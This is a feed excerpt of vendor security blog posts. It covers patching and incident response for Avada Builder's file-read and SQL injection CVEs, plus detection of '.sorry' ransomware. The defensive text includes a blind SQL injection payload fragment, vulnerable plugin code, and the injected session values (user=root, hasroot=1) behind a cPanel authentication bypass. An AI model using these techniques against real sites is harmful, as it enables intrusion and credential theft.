&lt;p&gt;If the patch needs more than a quick test on a particular site, &lt;a href=&quot;https://www.wordfence.com/blog/2026/05/1000000-wordpress-sites-affected-by-arbitrary-file-read-and-sql-injection-vulnerabilities-in-avada-builder-wordpress-plugin/&quot;&gt;disable Avada Builder&lt;/a&gt; until you can update. Deactivating it takes the vulnerable shortcode handler and AJAX endpoint out of play while you schedule a maintenance window.&lt;/p&gt;
&lt;h2&gt;Should I back up my WordPress sites before updating Avada Builder?&lt;/h2&gt;
&lt;p&gt;Yes, every time. Avada Builder uses its own page builder data format, and a bad update can leave you with broken layouts, missing elements, or corrupt page metadata. You often do not notice until a client phones to ask why the homepage carousel is empty.&lt;/p&gt;
&lt;p&gt;Make sure each site has a recent backup before you push the update. A mySites.guru &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot&lt;/a&gt; records config and version state, but it is not a restorable backup. For a rollback you want the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;full one-click backup&lt;/a&gt; of files and database. The &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup-all-sites workflow&lt;/a&gt; runs that backup across your whole portfolio in one click, so you can fire off backups for every Avada site, wait for them to finish, then run the update pass.&lt;/p&gt;
&lt;p&gt;If you already run &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;unlimited backup schedules&lt;/a&gt;, the patch goes on top of whatever you have scheduled, so the worst case is one extra restore point.&lt;/p&gt;
&lt;h2&gt;How do I watch for exploitation after patching?&lt;/h2&gt;
&lt;p&gt;The file read flaw has been at &quot;partial fix&quot; status since April 13. The full advisory dropped today, which is when most exploitation attempts start. Patching closes the door; monitoring tells you whether anyone walked through it before you got there.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; covers the three signals that matter after a file-read or SQL injection CVE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File changes to core, theme, or plugin files. If someone grabbed &lt;code&gt;wp-config.php&lt;/code&gt; salts and forged a session to drop a backdoor, the new file in &lt;code&gt;wp-content/&lt;/code&gt; or a modified &lt;code&gt;wp-config.php&lt;/code&gt; shows up before the next snapshot.&lt;/li&gt;
&lt;li&gt;New admin accounts. Anything created at administrator level fires an alert, whether it came in via the REST API, wp-admin, or directly through the database. Forging a session with leaked salts is one route to a rogue admin.&lt;/li&gt;
&lt;li&gt;wp-admin login activity, with IP, user agent, and timestamp. Unfamiliar logins on accounts that should not be active are the cheapest tell.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those alerts fire, the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked recovery workflow&lt;/a&gt; handle the remediation side.&lt;/p&gt;
&lt;h2&gt;Showing Clients Their Avada Site Is Now Safe&lt;/h2&gt;
&lt;p&gt;The patch is half the deliverable on a managed contract. The other half is the client knowing it happened. mySites.guru produces &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label client activity reports&lt;/a&gt; that list every update applied, every backup taken, and every vulnerability cleared in a given window, branded with your own logo and domain.&lt;/p&gt;
&lt;p&gt;After an Avada patch run, the same report tells the client which CVEs were closed, which sites went to 3.15.3, and that backups ran before each update. The &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;custom client report builder&lt;/a&gt; lets you scope it to the work covered by their retainer rather than dumping the firehose of internal monitoring data on them.&lt;/p&gt;
&lt;h2&gt;CVE-2026-4782: Unauthenticated SQL Injection&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;CVE-2026-4782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6.5 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary File Read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to and including 3.15.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.15.3&lt;/strong&gt; (May 12, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes - Subscriber or above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bounty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$3,386.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Rafie Muhammad (via Wordfence Bug Bounty)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The flaw lives in Avada&apos;s &lt;code&gt;fusion_get_svg_from_file()&lt;/code&gt; helper, reached from the &lt;code&gt;fusion_section_separator&lt;/code&gt; shortcode via its &lt;code&gt;custom_svg&lt;/code&gt; parameter. The function calls &lt;code&gt;$wp_filesystem-&amp;gt;get_contents( $url )&lt;/code&gt; with no checks on file type or path, then falls back to PHP&apos;s &lt;code&gt;file_get_contents()&lt;/code&gt;. Nothing forces the input to be a &lt;code&gt;.svg&lt;/code&gt;, so a &lt;code&gt;.php&lt;/code&gt; file works just as well.&lt;/p&gt;
&lt;p&gt;The shortcode is rendered via the AJAX endpoint &lt;code&gt;get_shortcode_render()&lt;/code&gt; in the &lt;code&gt;Fusion_Builder_Front&lt;/code&gt; class. That endpoint is nonce-protected, but the nonce is reachable by any logged-in user in vulnerable versions, and there is no capability check on the handler. A Subscriber account is enough.&lt;/p&gt;
&lt;p&gt;This is the same pattern we covered in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;: a developer protects the endpoint with a nonce, assumes that is enough, and forgets that the nonce is available to anyone with an account. Subscribers were never meant to invoke shortcode rendering. The check that would have stopped this is one &lt;code&gt;current_user_can()&lt;/code&gt; call. The same root cause hit five other plugins in March 2026, including the &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;AcyMailing flaw we wrote up&lt;/a&gt; where a registered Joomla user could escalate to admin through an AJAX endpoint with no capability check.&lt;/p&gt;
&lt;p&gt;So any logged-in low-privilege user can call the shortcode with a path like &lt;code&gt;wp-config.php&lt;/code&gt; and read the response. &lt;code&gt;wp-config.php&lt;/code&gt; contains your database credentials, table prefix, and the eight keys and salts that secure WordPress sessions and password resets. Once those leak, the attacker can forge auth cookies, decrypt nonces, and pivot from &quot;read a file&quot; to &quot;session as administrator.&quot;&lt;/p&gt;
&lt;p&gt;If your Avada sites have open registration - membership sites, shops with customer accounts, anything where Subscriber accounts are created on signup - assume any Subscriber-level attacker has had this capability since Avada Builder 1.x.&lt;/p&gt;
&lt;h3&gt;Why an arbitrary file read of wp-config.php is so serious&lt;/h3&gt;
&lt;p&gt;A read primitive is not code execution, but it is one step away. The salts in &lt;code&gt;wp-config.php&lt;/code&gt; are the inputs to WordPress&apos;s session signing. With those values an attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;forge &lt;code&gt;wp_session_tokens&lt;/code&gt; cookies and walk into wp-admin as any user, including administrators&lt;/li&gt;
&lt;li&gt;read your database credentials and, if your DB is reachable from anywhere with those creds, dump the entire site contents&lt;/li&gt;
&lt;li&gt;decrypt any encrypted option stored in the database (some plugins encrypt API keys with the auth keys)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The fix in 3.15.3 restricts &lt;code&gt;fusion_get_svg_from_file()&lt;/code&gt; to local SVG files and adds a capability check on the shortcode render endpoint.&lt;/p&gt;
&lt;h2&gt;CVE-2026-4798: Subscriber-Level Arbitrary File Read&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;CVE-2026-4798&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Time-Based Blind SQL Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to and including 3.15.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.15.2&lt;/strong&gt; (April 13, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bounty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$1,067.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Rafie Muhammad (via Wordfence Bug Bounty)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The post card items shortcode runs a SQL query against the &lt;code&gt;wc_order_product_lookup&lt;/code&gt; and &lt;code&gt;wc_orders&lt;/code&gt; tables to order results. The &lt;code&gt;product_order&lt;/code&gt; parameter from &lt;code&gt;$_GET&lt;/code&gt; is fed straight into the query&apos;s &lt;code&gt;ORDER BY&lt;/code&gt; clause:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$args[&apos;order&apos;] = ( isset( $_GET[&apos;product_order&apos;] ) )
    ? sanitize_text_field( wp_unslash( $_GET[&apos;product_order&apos;] ) )
    : $defaults[&apos;order&apos;];

$query = &quot;
    SELECT opl.product_id, MAX(opl.date_created) AS last_purchased
    FROM {$wpdb-&amp;gt;prefix}wc_order_product_lookup AS opl
    INNER JOIN {$wpdb-&amp;gt;prefix}wc_orders AS o
        ON opl.order_id = o.id
    WHERE o.status IN (&apos;wc-completed&apos;, &apos;wc-processing&apos;)
        AND opl.product_id &amp;gt; 0
    GROUP BY opl.product_id
    ORDER BY last_purchased {$args[&apos;order&apos;]}
    LIMIT %d
&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips tags and HTML, but it does not escape SQL. The query passes through &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; only for the &lt;code&gt;%d&lt;/code&gt; placeholder; the interpolated &lt;code&gt;{$args[&apos;order&apos;]}&lt;/code&gt; is appended as raw input. An attacker submits a payload like &lt;code&gt;last_purchased) CASE WHEN (...) THEN SLEEP(5) ELSE 0 END --&lt;/code&gt; and reads response timing to extract data one bit at a time.&lt;/p&gt;
&lt;h3&gt;Why the SQL injection has a strange trigger condition&lt;/h3&gt;
&lt;p&gt;The query references &lt;code&gt;wc_order_product_lookup&lt;/code&gt; and &lt;code&gt;wc_orders&lt;/code&gt;, WooCommerce&apos;s HPOS (High-Performance Order Storage) tables. They only exist on sites that have run a recent WooCommerce.&lt;/p&gt;
&lt;p&gt;But the tables persist after WooCommerce is deactivated or uninstalled. WooCommerce deliberately avoids dropping order data on uninstall, which is normally a feature, not a bug. That is what creates the trigger condition in the Wordfence advisory: &quot;the vulnerability can only be exploited if WooCommerce was previously used and then deactivated.&quot;&lt;/p&gt;
&lt;p&gt;That catches a surprising number of sites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Client stores that were set up, never used, and deactivated to &quot;clean up&quot;&lt;/li&gt;
&lt;li&gt;Sites that migrated off WooCommerce to a different store plugin&lt;/li&gt;
&lt;li&gt;Test sites that briefly enabled WooCommerce and forgot to drop the tables&lt;/li&gt;
&lt;li&gt;Sites running Avada demo content with the WooCommerce demo data still on disk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If WooCommerce has ever touched your database, you are in scope for this one, even if it is no longer active.&lt;/p&gt;
&lt;h2&gt;How to verify your sites are patched&lt;/h2&gt;
&lt;p&gt;Three checks, in order of speed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;: open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Avada Builder extension search&lt;/a&gt; and confirm every install is on 3.15.3 or later. Anything on 3.15.2 or earlier still needs updating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WP-CLI&lt;/strong&gt; on a single site: &lt;code&gt;wp plugin get fusion-builder --field=version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;wp-admin&lt;/strong&gt;: Plugins page, find Avada Builder in the list, check the version.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the version is 3.15.0, 3.15.1, or 3.15.2, update to 3.15.3. If WordPress reports no update available, check that the Avada theme is registered with a current ThemeFusion licence. Avada Builder updates come through ThemeFusion&apos;s update channel, not the WordPress.org directory, so a lapsed licence leaves the plugin pinned to an old version.&lt;/p&gt;
&lt;p&gt;For sites you cannot patch right away, deactivating Avada Builder takes the vulnerable shortcode handler and AJAX endpoint out of play until you can schedule the update.&lt;/p&gt;
&lt;h2&gt;What to do if you suspect you were compromised&lt;/h2&gt;
&lt;p&gt;Both vulnerabilities have been public since Wordfence&apos;s advisory dropped today. CVE-2026-4798 has had a partial patch since April 13 in 3.15.2, so exploitation attempts may have been live for several weeks before the SQL injection patch dropped. The arbitrary file read in CVE-2026-4782 only got fully patched today.&lt;/p&gt;
&lt;p&gt;If you find a vulnerable version and you also see signs of compromise (new admin accounts, unfamiliar files, mailer abuse), treat &lt;code&gt;wp-config.php&lt;/code&gt; as leaked. Here is the checklist, with the mySites.guru tools that automate each step across your portfolio.&lt;/p&gt;
&lt;h3&gt;1. Rotate the database password and salts&lt;/h3&gt;
&lt;p&gt;The leaked &lt;code&gt;wp-config.php&lt;/code&gt; contains your DB credentials and the eight keys and salts used to sign WordPress sessions. Both are now visible to anyone who exploited the file read.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp config shuffle-salts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rotate the database password in your hosting control panel and update &lt;code&gt;DB_PASSWORD&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; to match. Salt rotation invalidates every existing session, so users have to log in again. That is the point.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; view lists every user account across every connected site in one place, so once salts are rotated you can spot which accounts log back in and which never do.&lt;/p&gt;
&lt;h3&gt;2. Hunt for rogue admin accounts&lt;/h3&gt;
&lt;p&gt;If an attacker forged a session before you rotated salts, they could have created an administrator. Check the user table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT ID, user_login, user_registered, user_email
FROM wp_users
ORDER BY user_registered DESC
LIMIT 20;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything created since April 13, 2026 that you do not recognise is suspect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; sorts every account across every connected site by registration date. Filter for accounts created since 3.15.2 dropped and you see hundreds of sites in one screen, with no per-site wp-admin login.&lt;/p&gt;
&lt;h3&gt;3. Look for backdoors and modified files&lt;/h3&gt;
&lt;p&gt;A file read on its own does not plant code, but a forged admin session afterwards can. Look for unexpected PHP files in &lt;code&gt;wp-content/uploads/&lt;/code&gt;, &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;, and anywhere else uploads should not contain executable code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find wp-content/uploads -name &apos;*.php&apos; -type f
find wp-content/mu-plugins -name &apos;*.php&apos; -mtime -30
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; runs the same pattern matching across every connected site. Anything it flags gets a one-click &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains what the code does in plain English, so you can sort real threats from false positives without reading every flagged file by hand. The &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files report&lt;/a&gt; flags orphan PHP files outside the normal core, theme, and plugin paths.&lt;/p&gt;
&lt;h3&gt;4. Confirm no core files were tampered with&lt;/h3&gt;
&lt;p&gt;If salts leaked and a forged admin session dropped a backdoor, the easiest hiding spot is a modified core file or theme file. Compare against the canonical hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp core verify-checksums
wp plugin verify-checksums --all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; compare every PHP file&apos;s hash against the previous snapshot and email you when anything changes outside a normal update window. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; walks core, theme, and plugin files for tampered content as part of its run.&lt;/p&gt;
&lt;h3&gt;5. Hand it off if the site is compromised&lt;/h3&gt;
&lt;p&gt;If the site was actually exploited (extra admins, modified files, unfamiliar cron jobs) rather than just exposed, the cleanup is bigger than a plugin update. &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; handles the patch-plus-audit on a per-site basis: Avada Builder goes to 3.15.3, the site is checked for unfamiliar admin accounts and traces of file-read activity, credentials and salts are rotated, and the site comes back secure. Non-subscribers get a free month of mySites.guru included with the work.&lt;/p&gt;
&lt;h2&gt;Watching for the Next Avada Security Issue&lt;/h2&gt;
&lt;p&gt;Avada Builder ships with the Avada theme, one of the most-installed paid themes on WordPress. A big install base attracts researchers. Two CVEs from one researcher in one disclosure round is not a fluke: the &lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;March 2026 four-plugin patch round&lt;/a&gt; hit Elementor and Yoast SEO at similar scale, and the &lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;Essential Plugin supply-chain backdoor&lt;/a&gt; hit 31 plugins from a single acquired portfolio.&lt;/p&gt;
&lt;p&gt;The answer is not &quot;switch off Avada.&quot; It is the same answer as for every other widely-used plugin: keep the inventory current, patch within a defined window, monitor for changes, and have a rollback ready. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled updates&lt;/a&gt; let you stage update windows for client sites so they do not all jump on day-zero releases. A 48 to 72 hour delay would not have helped here (the patch was the safe version), but it does catch supply-chain attacks like Smart Slider 3 Pro 3.5.1.35 where the malicious release was pulled within hours of release.&lt;/p&gt;
&lt;p&gt;Agencies that handle CVEs cleanly are not faster readers. They have the inventory, the rollout, the monitoring, and the rollback already wired up before the CVE drops.&lt;/p&gt;
&lt;h2&gt;The disclosure timeline matters here&lt;/h2&gt;
&lt;p&gt;This one had a long tail:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;March 21, 2026&lt;/strong&gt;: Rafie Muhammad submits both vulnerabilities through Wordfence Bug Bounty&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;March 24, 2026&lt;/strong&gt;: Wordfence validates the file read and discloses to ThemeFusion&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;March 25, 2026&lt;/strong&gt;: Wordfence validates the SQL injection and discloses; Wordfence Premium gets a firewall rule&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;April 13, 2026&lt;/strong&gt;: ThemeFusion ships 3.15.2 with the SQL injection patched (partial fix for the file read)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;April 24, 2026&lt;/strong&gt;: Wordfence Free users get the firewall rule&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;May 12, 2026&lt;/strong&gt;: ThemeFusion ships 3.15.3 with the file read fully patched; Wordfence publishes the advisory&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you updated to 3.15.2 last month thinking you were safe, you closed the SQL injection. The file read was only partially mitigated. 3.15.3 is the version you actually need.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/05/1000000-wordpress-sites-affected-by-arbitrary-file-read-and-sql-injection-vulnerabilities-in-avada-builder-wordpress-plugin/&quot;&gt;Wordfence advisory: 1,000,000 WordPress Sites Affected&lt;/a&gt; - full technical write-up with proof-of-concept and disclosure timeline&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;CVE-2026-4782 on Wordfence Threat Intel&lt;/a&gt; - the arbitrary file read entry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://avada.com/&quot;&gt;ThemeFusion (Avada)&lt;/a&gt; - the vendor. Check your licence is current to receive updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;mySites.guru WordPress vulnerability alerting&lt;/a&gt; - how the automatic detection works&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress, and WordPress plugins from mySites.guru&lt;/a&gt; - the bulk update workflow&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>vulnerability</category><category>plugins</category><category>avada</category><category>updates</category><enclosure url="https://mysites.guru/_astro/avada-builder-cve-2026-4782-4798.H1VF-W2c.png" length="0" type="image/png"/></item><item><title>Spotting .sorry Ransomware on Your cPanel Hosts</title><link>https://mysites.guru/blog/sorry-ransomware-cpanel-detection/</link><guid isPermaLink="true">https://mysites.guru/blog/sorry-ransomware-cpanel-detection/</guid><description>Sorry ransomware encrypts cPanel-hosted sites via CVE-2026-41940 and appends .sorry to every file. mySites.guru now flags those files automatically in every audit.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We just shipped automatic detection for the &quot;Sorry&quot; ransomware. Every site audit now flags any file ending in &lt;code&gt;.sorry&lt;/code&gt; as hacked, and the File Manager renders a red Ransomware badge next to those files so the encrypted artefacts are obvious next to the more usual PHP backdoors.&lt;/p&gt;
&lt;p&gt;The reason it needs its own treatment: this is a host-level ransomware, not a CMS-level one. It does not care whether the site it just encrypted is WordPress, Joomla, Drupal, or a single static &lt;code&gt;index.html&lt;/code&gt;. If the cPanel account it lands in can read the file, it gets encrypted and renamed with &lt;code&gt;.sorry&lt;/code&gt; on the end. The decryptor is the attacker&apos;s RSA-2048 private key. There is no public alternative.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Spot .sorry Files?&lt;/h2&gt;
&lt;p&gt;The audit pipeline ends with a post-audit pass that flags files matching known-bad patterns. We added one extra query:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE bf_files
   SET hacked = 1, suspectcontent = 1
 WHERE filewithpath LIKE &apos;%.sorry&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every Joomla, WordPress and Generic connector now runs that query after the file inventory is collected. The site flips to &quot;hacked&quot; on your dashboard, the encrypted files show up in the Suspect Content tool, and the File Manager renders a red Ransomware badge next to each row alongside the existing Hacked File badge.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That row in the middle, &lt;code&gt;/yes.sorry&lt;/code&gt;, is what an encrypted file looks like through the audit. The badge is intentionally distinct from the standard &quot;Hacked File&quot; label so that a portfolio with hundreds of compromised sites can be sorted by ransomware victims first.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;If the dashboard shows a Ransomware badge on any of your sites, do not try to clean and reuse the cPanel account. The entry vector for this ransomware is a pre-auth root bypass in cPanel itself. The attacker had root WHM, not just one site&apos;s file permissions. Restore from backup onto a patched host and rotate every credential.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is CVE-2026-41940?&lt;/h2&gt;
&lt;p&gt;CVE-2026-41940 is a pre-authentication authentication bypass in cPanel and WHM, scored CVSS 9.8 and disclosed by WebPros on 28 April 2026. The root cause is CRLF injection in the login and session-loading code. An attacker injects raw &lt;code&gt;\r\n&lt;/code&gt; characters into the Basic Auth header and a crafted &lt;code&gt;whostmgrsession&lt;/code&gt; cookie. The server writes those characters straight into a pre-auth session file, which lets the attacker insert properties like &lt;code&gt;user=root&lt;/code&gt;, &lt;code&gt;hasroot=1&lt;/code&gt; and &lt;code&gt;tfa_verified=1&lt;/code&gt; into a session it then accepts as authenticated. The attacker walks into WHM as root with no credentials.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/&quot;&gt;watchTowr Labs&lt;/a&gt; published the deepest technical breakdown and &lt;a href=&quot;https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/&quot;&gt;Rapid7&lt;/a&gt; followed with the patch matrix and IR notes. The vulnerable surface includes every cPanel and WHM version released after v11.40, plus WP Squared up to 136.1.6.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/04/30/cpanel-zero-day-vulnerability-cve-2026-41940-exploited/&quot;&gt;Help Net Security&lt;/a&gt; reports earliest in-the-wild exploitation on 23 February 2026, more than two months before the patch landed. By the time the advisory went out, the bug was already a known zero-day inside the threat-actor community.&lt;/p&gt;
&lt;h2&gt;What Does Sorry Ransomware Actually Do?&lt;/h2&gt;
&lt;p&gt;The ransomware itself is a separate piece of malware, dropped by attackers once they have root WHM from CVE-2026-41940. The technical detail comes from &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/critrical-cpanel-flaw-mass-exploited-in-sorry-ransomware-attacks/&quot;&gt;BleepingComputer&apos;s coverage&lt;/a&gt; and ransomware researcher Rivitna:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Written in Go, Linux-only.&lt;/li&gt;
&lt;li&gt;ChaCha20 stream cipher per file. The per-file key is then wrapped with an embedded RSA-2048 public key.&lt;/li&gt;
&lt;li&gt;Appends &lt;code&gt;.sorry&lt;/code&gt; to every encrypted filename.&lt;/li&gt;
&lt;li&gt;Adds a 2,357-byte RSA-encrypted footer to each encrypted file.&lt;/li&gt;
&lt;li&gt;Drops a &lt;code&gt;README.md&lt;/code&gt; ransom note in every directory it touches.&lt;/li&gt;
&lt;li&gt;A single Tox ID for contact, reused across all victims, which makes it easy to correlate samples but useless for negotiating.&lt;/li&gt;
&lt;/ul&gt;
